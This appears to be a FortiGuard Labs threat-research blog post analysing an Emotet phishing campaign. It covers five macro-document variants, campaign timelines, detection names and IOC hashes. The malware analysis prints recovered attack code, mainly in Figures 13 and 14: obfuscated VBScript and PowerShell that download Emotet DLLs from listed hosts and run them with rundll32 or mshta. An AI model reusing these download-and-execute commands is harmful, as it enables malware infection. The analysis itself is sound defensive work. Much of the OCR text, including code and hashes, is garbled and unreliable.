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Emotet is a malware family that steals sensitive and private information from victims' computers. The malware

has infected more than a million devices and is considered one of the most dangerous threats of the decade.

In addition to analyzing threats, FortiGuard Labs also focuses on how malware spreads. We have observed that the
recent Emotet outbreak is being spread through a variety of malicious Microsoft Office files, or maldocs, attached
to phishing emails. Once a victim opens the attached document, a VBA Macro or Excel 4.0 Macro is used to

execute malicious code that downloads and runs the Emotet malware.

In this blog, we will focus on what these malicious documents look like and how they drop Emotet malware onto
a victim's local disk. We will first look at the samples captured in this campaign and then examine their

propagation trends.

Affected Platforms: Microsoft Windows
Impacted Users: Windows users
Impact: Controls victim's device and collects sensitive information

Severity Level: Critical

Phishing Emails with Malicious Attachment

The recent Emotet outbreak uses phishing emails combined with social engineering to trick victims into loading

the malware onto their devices. These emails often include "Re:" or "Fw:" in the subject line, as shown in Figure 1
and 2, to disguise the email as a reply or forwarded message to help convince the target that the email is

legitimate.
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& RE: Finding it Difficult to Manage Employee Experience? Read This eBook - ... El[ﬁl & Re:

© Al Edt Wiew Tools Message Help i FEle Edt Wew Took Message  Help
6 & 2 o | 0 From: I
Regly  Reply Al F:Erd Pr‘i‘?t Dﬁe ‘J . _) ﬁdcﬁ:s:s Date: Thursday, February 03, 2022 7:06 PM
To ]
o L Subject:  Fc: I
SES N R Bt Attach: 2] 73962634997276 129,05 (154 KB)
o | [
Subject:  RE Finding it Difficut to Manage Employee Experience? Read This eBlook
Attach:  [FRFILE_24561006 175205605525, doem 143 KE) Thank wou for vour help. Please see the attached.
Simcerely,
Decs attached,

.net

=m

----Oinginal Message-----
= Sent: Thursday, Febrary 03, 2022 0605

= Subject: Re: I

&

Figure 1: Reply email with an attachment

& Fw: Okundu: SIPARIS HAK. - Unicode (UTF-B)

File Edit Wew Tools Message Help

Fron: |
Date: Friday, Fabruary 04, 2022 8:25 PM
To: |
Subject:  Fw: Okundu SIPARIS HakK.

Attach: @E?M?SE[ 1459297138, x5 (148 KB)

Okundu: SIPARIS HAE,

Flirne : I
Konu: 3TPAR?? HAK
CPnderilme tanhi: 3 Nisan 2019 ?ar?amba 02:43:47 (UTC+0300) ?stanbul

Figure 2: Forwarded email with .xls file attachment

Figure 3 showcases another technique, where the malicious document is packed into a ZIP archive with a

password that is attached to an email, with the password included in the body of the text.
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& (No Subject)

© Fle EdE View Took Message  Heb

From:

Date: Tuesdsy, Februsry 08, 2022 1121 AM

To: sales

Subject:

Attach: u]mpnrbant COVID-12 Vaccing Information.ip (79.6 K8)  [H] ATT00005 dat (2,26 KE)

Important COVID-19 Vaccine Information op
Password: 6391255

Open for detads.

| K
info) I
aaed |

The attachment nawed Imporcant COVID-19 Waccine Informacion.zip could not be gcanned for viruses because it 12 a passvord protected.

! Fle Edt Wew Tools Message Help

From: 3 [
Date: ‘Wednesday, February 05, 2022 9:27 &M

To: |

Subject: RE: I T

Attach: |ﬂdetaus-59 1336.20p (77.5 ¥8)

detale-591336. Hp

arch pass 393

Thank you for your business - we appreciate it very ruch.

L

Figure 3: Email with a password-protected ZIP archive attachment

Examining the Malicious Excel Files and Word Documents

The attached Excel files and Word documents contain malicious macros. Once opened, they display an image
requesting the victim to click the "Enable Content" button in the security warning bar. This enables the malicious

macro to be executed.

The images below show the techniques used to trick victims into clicking the "Enable Content" button in the Excel
files and Word documents used in this campaign. Figure 4 shows screenshots of an opened Word document and

Figure 5 is of the opened Excel file.
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Figure 4: Word document content when opened
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Figure 5: Excel file content when opened

Analyzing the Malicious Macros and their Behaviors

Macros in Microsoft Office files are usually written in VBA (Visual Basic for Applications). In this case, the Word

documents contain malicious VBA code while the Excel files use Excel 4.0 Macro in addition to VBA Macro.

We captured five different samples connected with this Emotet campaign that contain differences in the macro
code and execution flow. For identification purposes, we have given each sample a tag name, which is from when
the sample first appeared. The tag name consists of two parts, the year prefix and a suffix with the week of the

month, connected by an underscore.

The first sample appeared in the third week of November 2021 and its tag name is "2021_NovW3". It is an Excel
file or Word document with VBA Macro. The second is an Excel file using Excel 4.0 Macro. It appeared in the
fourth week of November 2021 with the tag name "2021_NovW4". The third sample is a Word document with a
VBA Macro with the tag name of "2021_DecW2". The fourth sample is an Excel file with an Excel 4.0 Macro. It’s
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tag name is "2021_DecW4". The fifth sample is an Excel file with a VBA Macro and the tag name of

"2022_FebW2".

Tag Name

2021_NovW3

2021_NovW4

2021 _DecW2

2021_DecW4

2022_FebW2

File Type

Excel/Word

Excel

Word

Excel

Excel

Macro Type

VBA Macro

Excel 4.0 Macro

VBA Macro

Excel 4.0 Macro

VBA Macro

Below is an analysis of the malicious macro component of each captured sample.

2021_NovW3:

This sample has a VBA function called "Workbook_Open()" or "Document_Open()" that is executed

automatically when the file is opened. It then calls another function to write script data to a VBS file and save it in

the "C:\ProgramData\" folder. Next, it uses "Wscript.exe" to execute the VBS file.

yom " dfnil sgderiusefihe 453de-ty: j = "

‘[ File Edit View Inset Format Debug Run Tools Add-Ins Window Help Type a questionforhelp = _ @ x
EE-Ed % ER 9~ » 0ok NEFN @ L3, :
sz X|| [(General) ~] [Dehasdhi ~]
EE |4 e Cells(O, 4) % Tulxl =
o B8] 2asD G (Sh TN = E Then
=5 Foms L Fori=1ToN
L[ 8gbhisud hdozis || Forj=1To M
- If Cells(i, 7 = Max Then
< e ] b K=1i
Fod s
Properties T
- 5' Next
=] ge’f{(in 3,5 K: Cells(N + 3, 1 kvus sdhoije f dsf: i cells(N + 4, 5)
- - ellsiN + 3, 5) = K: CellsiN + 3, 1) = " kw5 sdhoije fza-adsf: 1 = ": Cells(N + 4, 5) =
Alphabetic | Categoriaed | Cells(N + 4, 1 j

Figure 6: VBA code used to execute the dropped VBS file
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In the VBS file it generates a PowerShell code snippet to download the Emotet malware dll into the

"C:\ProgramData\" folder and then execute it using "regsvr32.exe"

TN TN LTS A TE T T SEine 188t TeRCIRLadk-WECEiPE.Creacecblect [Teplace (DR]cdeid, Towas, "o1] :4im 13dfcdsed: |
semabinemanabined ShirfGisesd=\"" " :uwhcnwsz=
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Jgreo0Edhibouhabineta
ihjbouhtabinetpssdnjd

conteabinentdnjIeddhjbeoun
wp—aabinedmindh)¥mtLrOpaiEiDdarFCnbdh

inelt \‘“'x.-ou\ i

fabineoRefabinaCh (SyIdsRhya
FMIRAEshDr IG2sesd) { $EweYHET sadawd= [\""cl
abineBrEabinegUeabi -uabineRabinel

hiuw. diuwdliuwdlh"") . cabis
le $Gwe¥HSTsedswd;iabine

eePlabinehte (4" Luwdy ™", 4"y
F (tabincest-pAabineTh

nabineVabineCkabines-w

Fowe¥HS Teedawd) | Lab: eNGabinsth -gakir
(324£3) {babineReaabine bineeabinex Fgh
Fwadocmeadod . 5 OB W LAY SWadoYIWNSdonWE
. wedo' :

" erdijv—replace (1jdfodiedtuwhcnwb2 +diawivn, ieiosdk, "~) (bvwidulsa=
wadogswedovwador3waeds 2, avadoxwados Sfwados
¢ dwedolwedol” i rehoihladk. run ecdijv, 0, trus:cvbilufogk—replace (bywilulsa, "wedo”, "") i rehoihladk. run cvbiZufogk,0

Him rehoihlsdk:

phicdeid="wscript.shall®:

2ot rehoihladk=weerip c:ea:eeb:ecn |b.‘|je§eil:|'
ez jvm "o

:—nnmh].mx run nn:h]v o, troa
fovbi3u fogk="x G start /B
jrehoihlsdk. run l:vh:l.jufo-gk 0

Figure 7: Script code in the dropped VBS file
2021 _NovW4:

This is an Excel file that uses formulas on an Excel 4.0 Macro sheet instead of a VBA Macro to execute malicious
code. As shown in Figure 8, some sheets are hidden, including the one that contains the malicious formulas. Cell
A1 in sheet "FEGFL" is named "Auto_Open" and includes a built-in macro that automatically runs the formula

from that cell once the file is opened.

This macro sheet includes formulas that call the API "URLDownloadToFileA" to download the Emotet malware
from different URLs. It attempts to download the Emotet malware from the URL in each formula until a download

is successful. The Emotet malware is a dll file saved with an .ocx file extension and executed using

" "
regsvr32.exe
T e | e Pageimm  femube  Dain Resew  View  Dvesicoe -2 x
_ L e =m 'I-(A‘I---IE Geeersl - || [cendtisns bommatng - Jolawrt s E -
T T tons om0 oo e e B [ ] gremases o i-ﬂﬂ
T St v (™ oo Gemen - (F] cantianal Fomating - e - :v ﬁ a = e ﬁ |*""" 5 il Stk - [Elremit = 4o Foren s Seen -
L B LU &S| EEEE 8% | e P i gt 5 mamee s [ p
= Z i e (e Goe Birwmes | - 7228 22 St v Al A
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AMTS - a| & il
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Figure 8: The Macro Sheet is hidden and cell A1 is named "Auto_Open"

2021 _DecW2:

This VBA code includes a function called "AutoOpen()" that automatically runs a macro when the document is

opened. In this function, it saves itself as an HTA (HTML Application) file in text format, as shown in Figure 9. At

the same time, script data is displayed in the content text area below the picture that is hidden with a minimum

font size and white font color (the font color has been changed to red in Figure 9 for easier viewing). Since the

HTA file is in text format, the script data in the content text area is the only part included in the file. To execute the

HTA file, "explorer.exe" on Windows system is used in the VBA Macro.

*E‘ Edit View [nset Format Debug Run Tools Add-lns Window Help Type a question for help - _ & X
imE-H 4 aBan 9y b BEFEY RO
|(Gemeral) =] [antoopen -]
o= h, = Public Sub autoopen() =
B ThDocament  ~ girlLikeYou = StrReverse{ThisDocument keywords) =
With ActiveDocument
E-E5 Modules || |&| .saveAs FileMame:-girlLikeYou, FileFormat:=-2
< = End With
= mn e likeLovePow
L P——p— ThisDocument.s Tri ow + “.*), girlLike¥ou
A —— | | Ed
‘main Hodue =
Alphabetic | Categorized |
WAL
| =)= 4] |
Home | Inset  Pagelsyout  References  Moiings  Review  View  Developer L

~ Change Editing

4 arial - :-E-v E.v "-E- i
J-ﬂ B I n'ﬁl,lt' ’.-HE' AaBbCcDe| AaBbCeDe Aat = %‘ ,lﬂ|
e i A- A [A[@ A x| (2 @i | e lJNosmtﬂ. Heading 1

5 Font 5 T 5| Stytes

Office update is available!

MNew updates are available for Office. They will be
downloaded in the background and will not interrupt your

If your Internet connection is limited, be cautious - you
can be charged for downloading of this data.
In order to start update downloading, please press

“Enable Editing” and then “Enable Content” in the popup
window.

script data

Page:lofl  Words:118 5  Russisn | Insent
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Figure 9: VBA code to save ActiveDocument as HTA file

o‘- File Edit Www Insori Fornat  Debug  Run Teels  Adddns Window  Help
S Bl e e o o@ e S & i coll

pe o questan for help -_ 8

&
- 2 ] [ iBannral) GlZ =
ol ] =
FYTe = 1l centeess
[0 8 Ml Wi O A TvilniTaRnt . Faitint Tind, Exoats TindTess . Replacsdithi="", Beplace:=2
] Thifcounart | ann | fun

F-23 Hodules = e hemopdss )

3 dmn
Iil kereards = activeDarawtnt  Buil = TsDnkeman P ropantins) "Reponsds® 1 M lue
1 L4 cokTents
Erd Funtiion
Fulbliz Fonclice si Tikelead, loso¥or
ThisDocnmes Tt <] | cmmhjm(nm.m ok veDaumint Bt 14 D umwat Propsx tL66 "4tegory”), Vilus) 6580 “E-Vwlndost\amplorss = + lovim

Fral Funiiun

Fropeties - ThisOocument 5‘

4|

Klpualatic |f.,w.,;,,.a| lowe'fou = “docelovebia”

TheDCounse .
P Pl |
Sl Lpts cevio Pk
gk
e loulleioy a2
[ HiE

| S ,

Figure 10: VBA code to execute the dropped HTA file

Script code in the HTA file extracts JavaScript code to download the Emotet malware. The Emotet malware is
saved to the "C:\Users\Public" folder as a JPG file, but it is actually a dll file. In the end, the Emotet malware dll is
executed with "rundll32.exe".
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Figure 11: Script code in the HTA file
2021_DecW4:

In the hidden macro sheet "Macro1", cell F1 is named "Auto_Open" to automatically run the formula when the
file is opened. There is normal text in the cells below cell F1 until cell F18, which contains the formula to execute.

The simple formula, shown in Figure 12, uses "mshta.exe" to execute an HTML URL. The web page of HTML
URL is protected by HTML Guardian, a tool that encrypts source code.
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Figure 12: Formula and "Auto_Open" in macro sheet

After decrypting the HTML source code, there is a VBScript code snippet obfuscated by the string "{GOOGLE}",
as shown in Figure 13. It runs a PowerShell code snippet to download and execute script from a PNG URL. The
PNG URL is not an image file but a PowerShell script file that contains multiple URLs to download Emotet
malware. Finally, the Emotet malware is saved as a dll file in the "C:\Users\Public\Documents\" folder and

executed using "rundll32.exe".

<script language="VBScript">
Window.ReSizeTo 0, 0

Window.H To —-4000, -4000 .
indon.HoveTo http://91.240.118.172/hh/hello.png
Co = " Sc3='ad{G00GLE} {GO0GLE} 3t {B00GLE brin{GOOGLEY { GOOGLE} g {GOOGLE} (' "he {GOOGLEY ep{GOOGLEY ://91.240.118.172/hh/hello.png" ") . replace (' {GOOGLE}", "'):"
AE = " -noexit $cl=' ({GOOGLE}{GOOGLE }Ne{G00GLE } {GOOGLE bw{GOOGLE ) -0b] {GOOGLE ) ec{GOOGLE } {GOOGLE} T
W{GOOGLE} { GOOGLE tet { GOOGLE} .W{G0OGLE} {GOOGLEle" .replacs (" {GOOGLE}', ""):"
CHM = " Sc4="bC{GOOGLE}11{GOOGLE} {GOCGLE }en|GOOELE] {GOOGLE} ) . D{GOOGLE } { GOOGLE } ow { GOOGLE} { GOOGLE }nl {GOOGLE } { GOOGLE} (GOOGLE o' .replace (' {GOOBLER', '');"

G = "I'E'X SJI|I'E"X" = ™ "

GA = "£JI=(5cl,Scd,5c2 =Join ') "

CRG = ARE + CM + CO + GA + GN

WS = Chr(&7) & Chr(83) + "cr™ + StrReverse(".tpi") + Chr(83) & Chr(104) + "ell"

get INFO = CreateCbject (WS)

AD = Chr(Chr(4%) & Chr{43) & Chr(50)) & Chr(Chr(4%) & Chr(4%) & Chr(4%))+Chr(Chr(45) & Chr(4%) & Chr(57)) & Chr(101)+Chr(ll4) & Chr(115) & Chr(104)+Chr (101}
& Chr(108)+Chr(108) & Chr(32)

INFO.Rug AD + ORG, Chr(48)

crez=  powershell -noexit IEX (new-object net.webclient).downloadstring(''http://91.240.118.172/hh/hello.png")

</scriper

Spath = "C:\Users\Public\Documents\sad.dl11";

Surll = "http:/felearph.flywheelsites.com/Fox-C/keCDeeB8C2DIGENYQ/ " ;
Surl? = "https://eggsupgrillfranchise.com ~content /Wpd4robwtHEX0inn/" ;
Surld = "https://bilisimhocasi.com —admin/d¥déix/" ;

Surl4 = "https://shoplget.nl/wp-content/Yay/";

Surls = ' A nskin io. = i c v ]

Surlé = "http://wordpress.ga-testlab.net/Fox-0404/RIWZIMsIETICFzRWSkT/";
Surl? = "https://oxfordschool.as/ fel':

Surls = 2 www - G 7 o]

Surls = ° : = - i

Surllo = ' i i ] i WY v

Sweb = New-Object net.webclient;
Surls = "$urll, Surl2, S$url3, Surl4, $urls, $urlé, $url7, $url8, Surld, Surlld”.aplit (", ") ;
foreach ($url in $urls) |{

try |
Sweb.DownloadFile (Surl, Spath);
if ((Get-Item $path).Length -ge 30000) {
[Diagnostics.Procass];
break;
}
}
catchi}

}
Slesp -2 4:emd fe C:\Windows\SysWowéd\rundll3Z.exe 'C:\Usears‘\Public\Documents'\ssd.dll',AnyString;

Figure 13: VBScript code used to run a PowerShell script
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2022_FebW2:

This sample has the same code and execution flow as "2021_DecW4". But instead of using an Excel 4.0 Macro, it
uses a VBA Macro to execute its malicious behaviors. Figure 14 shows the content in the autorun function
"AutoOpen()". Although there are lots of comments, the VBA code is very simple, using "mshta.exe" to execute
an HTML URL. As the script code and subsequent process in the HTML URL is identical to the contents in

"2021_DecW4", we can look at it for more details.

‘d File Edit View Inset Format Debug Run Tools Add-Ins Window Help Typeaquestionforhelp &[0 B x
HeE-W 4 SRRy SR @ )
_ﬁl |(0ene:m1] ;l |e:|:en: ;l

E’—i@;ﬂ Sub Auto_Open()
B8 M

On on produce colomel pointed. Just four sold need over how any, In to september s

Supported neglected wet she therefore uwnwilling discovery remainder. Way sentiments
[ L) ThisWorkbook
=55 Modules

Heow eldest new tastes plenty mother called misery get. Longer excuse for county non

s odulel - ' In post mean thot ye. There out her child sir hiz lived. Design at uneasy we seasor
- ’Il L " Excited him now natwral saw passage offices wou minuter. At by asked being court he

F LTI LITS ~ VUG L

Properties - Modulel
|Modulel Module

Alphabetic | Categorized |
) Moduled

%o feel been kept be at gate. Be september 1t exiensive oh concluded of certainty,

lf]x

Allow miles wound place the leave had, To sitting subject no Improve studied limite

Exquisite cordlally mr happiness of neglected distrusts. Belsterous Impossible unal

Effect if in up no depend seemed. Ecstatic elegance gay but disposed. Ve me remt be

' oAnswer misery adiens add wooded how nay men befere though. Fretended belanging comt

At distant Inhabit amongst by, Appetite welcomed Interest the goodness boy not. Esd

Vourself off 1t: pleasant ecstatic now law, Ve their misth seems of songs. Prospect

Article nor prepare chicken you him now, Shy merits say advice tem before lovers ir

Sex reached suppose our whether., Oh really by an manner sister so. One sportsman to

Advice me cousin am spring of needed. Tell use pald law ever wet new, Meant to leas

{'—15[? = "mshta http://01.240.118.172/bh/bh. himl "

o

On on produce colomel pointed. Just four seold need over how any., In to september s

Supported neglected wet she therefore unwilling discovery remainder. Wiy sentiments

How eldest new tastes plenty mother called misery get, Longer excuse for county noi
In post mean shot we, There out her child sir his lived, Design 2t uneasy me seasor

" Excited him now natuwral saw passage offices you winuter. At by asked being court he

8o fesl been kept be at gate. Be september it extensive ch concleded of certainty, —

Allow miles wound place the leave had, To sitting subject no Improve studied limite

Exquisite cordially mr happiness of neglected distrusts. Belsterous Impossible unal

up no depend seemed. Ecstatic elegance gay but disposed. Ve me rent be

exec (FF)
ey adiews add wooded how nay men before though. Pretended belonging cont

== 4| | _'|;I

Figure 14: VBA code that an HTML URL is executed
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Attack Trends in the Latest Emotet Campaign

Emotet was first discovered in 2014 and continues to attack victims. The latest Emotet campaign broke out in
mid-November of 2021 and is spread using malicious documents attached to phishing emails. FortiGuard Labs
has been tracking these malicious documents as well as the number of variants used to evade detection in this
campaign. Figure 15 shows the daily timestamps for Emotet maldocs used from mid-November 2021 to March

2022. All the samples mentioned in the previous section emerged during this period.

The first attack appeared on November 16, 2021. After that, it spread different types of malicious documents every
week until the Christmas break. Once the break ended on January 12, it surged with more frequent and consistent
attacks, releasing a large number and variety of malicious documents. From the end of February through the end
of March, it turned to using the same type of malicious document (2021_NovW4) with different phishing picture

templates. After February 28th, new malicious documents appeared every day except for weekends, with only one

or two days off.

7-10,23-24 Feb .

15 Mar 30

2021 2022

Figure 15: Timeline of the latest Emotet Maldoc campaign

Conclusion

In the previous section, we showed that some types of malicious documents have more timestamps on the timeline
than others. The pie chart in Figure 16 is based on the occurrence frequency of timestamps, showing the usage rate
of each malicious document in this campaign. According to this chart, "2021_NovW4" has been the most active,
involving more than 50% of the malicious documents discovered. The second most is "2021_NovW3", consisting

of 27% Excel files and 6% Word documents. It is worth mentioning that Excel files accounted for 93% of all
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malicious documents, much higher than Word documents at only 7%. One of the possible reasons is that the Excel
4.0 Macro only works with Excel files. Because if this, users should be especially cautious about suspicious

emails with an attached Excel file from an unknown sender.

2021_NovW3 (Excel)
2021_NovW3 (Word)

2021_DecW2
13%
Excel 2021_NovWw4
93% 2021_DecW4
Word
7%
2021 NovWw4 _2021_NovW3
52% (Word)
6%
2021_Decw2
1%
G e |.2022_FebW2
O Word 1%

Figure 16: Types of malicious documents in the campaign

FortiGuard Labs also collected the Emotet malware payloads during this period. Figure 17 shows the weekly
counts of Emotet malware, with timestamps for each Emotet maldoc in the timeline displayed below the bar chart.
Weeks with high counts match when malicious documents appeared, while those without malicious documents

were almost silent.

count
45000

25000

20000
15000
. .-_ .

e° 2 = 5 ) o o ot 0 o P A0 v A AP -\.’*
.‘e‘b‘ 1“1‘ B '1“"\' '1.“1'\' e g g frus * 'L“.k} B ';‘91' fitg 1“1’1 A B g o g w7 g

Figure 17: Count of Emotet malware per week
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The graph also shows that all malicious documents detected after Christmas were Excel files. Using an Excel file
is more flexible because its macro type can be VBA Macro, Excel 4.0 Macro, or both. One of the benefits is that

Excel 4.0 Macro, an older technique, bypasses antivirus detection more easily than a VBA Macro.

As shown in the timeline, Emotet malware has primarily been spread since March 2022 through the malicious
Excel file "2021_NovW4", which uses the Excel 4.0 Macro. We believe that the authors prefer to use Excel files

with Excel 4.0 Macro for malicious documents to reduce detection by antivirus engines.

Fortinet Protections

Fortinet customers are protected from this malware by FortiGuard’s Web Filtering, AntiVirus, FortiMail,

FortiClient, FortiEDR, and CDR (content disarm and reconstruction) services:

The malicious macros inside the Excel sample can be disarmed by the FortiGuard CDR (content disarm and

reconstruction) service.
FortiEDR detects the Word and Excel files and Emotet dll file as malicious based on their behavior.

Fortinet customers are protected from these malicious documents and malware by FortiGuard AntiVirus, which is

included in FortiMail. It detects all malicious macro file types, including Excel 4.0 Macro samples.
All malicious documents described in this report are detected by FortiGuard AntiVirus as follows:

VBA/Agent.8095!tr.dldr
VBA/Agent.5A47!tr
VBA/Bomber.46B3!tr.dldr
XF/Agent. NN!tr.dldr
XF/CoinMiner.Z!tr
MSExcel/Agent. DVP!tr.dldr
HTML/Sabsik.FL!tr

The Emotet malware payloads are detected by FortiGuard AntiVirus as follows:

W32/Emotet. EHR!tr
W32/GenKryptik. FSPR!tr
W32/Emotet.1156!tr
W32/Agent. FSUQ!tr
W32/Kryptik. HNXJ!tr
W32/Emotet.1143!tr
W32/Emote.CQ!tr

In addition, Fortinet has multiple solutions designed to train users on how to understand and detect phishing

threats:

The FortiPhish Phishing Simulation Service uses real-world simulations to help organizations test user awareness

and vigilance to phishing threats and to train and reinforce proper practices when users encounter targeted
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phishing attacks.

We also suggest that organizations have their end users go through our FREE NSE training: NSE 1 — Information

Security Awareness. It includes a module on Internet threats to train end users on how to identify and protect

themselves from phishing attacks.

I10Cs

Malicious documents (SHA256):

3e97f09fc53890ba2d5ae2539b5c8df372ed2506ed217d05ff2cf8899d15b8e6
2ecc2a48fa4eadb80367f69799277c54a0fe6dd2220a6a2dd7b81cfba328ed19
ed180371dfec2186148bbcab99102ce45fb1fcc3764b384c2abcaceba2fab5b6
719900e330cecd87250ac1{6¢c31f2d6f42f226294fb011cf47c442f8d2b7455b
3ccb809¢d97cc08£f380600dcaa5244ef2abd7afd9e7a9f2df7c4e28fee637f0
e167804a6f36dc99e96909bcededaBa733dd8633037b8b52e8d7881d20446¢16
bd9b8fe173935ad51f14abc16ed6asbf6ee92ec4f45fd2ael1154dd2f727fb245
57fcbb058fc0dfe0cce29676569f2e30d1f8a59345ab161d8183d0769428f4e2

Emotet malware (SHA256):

4900d1e66cef8507b265c0eec3ff94cb5f774847d969e044dc8ccd72334181f5
2dcfcaaf3ccd8e06043e651cd5b761ae50f3463c6420d067b661969e0500dce2
52f6fce27184b61ceb3c02d360e04dc1489c4136a0ffcbb39c50d27474e4283b
ccbefa930edc4d5b5b34a5deal6c73c9d3f3b4167406c3ae841bc71fced5c68e
cd105196cbf17f11dbff2b623f5bfaf9ef8d91f2598fe3bc2a7da192c2ceed57
9535c3f02ee8ad47ad1392f36a1ff44a3d5cb067ecef748e63e1628bc489c9d90
ca2b7c0f2a2a42ce586d63ccfcf131f8b99d73521742cc15d6255e76£9278fbc
d5f4292d4f5661ce12dd8384cfbb22a3d17908290ba80d9de3a1697064d248a7

Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard

Security Subscriptions and Services portfolio.

Source: https://www.fortinet.com/blog/threat-research/Trends-in-the-recent-emotet-maldoc-outbreak
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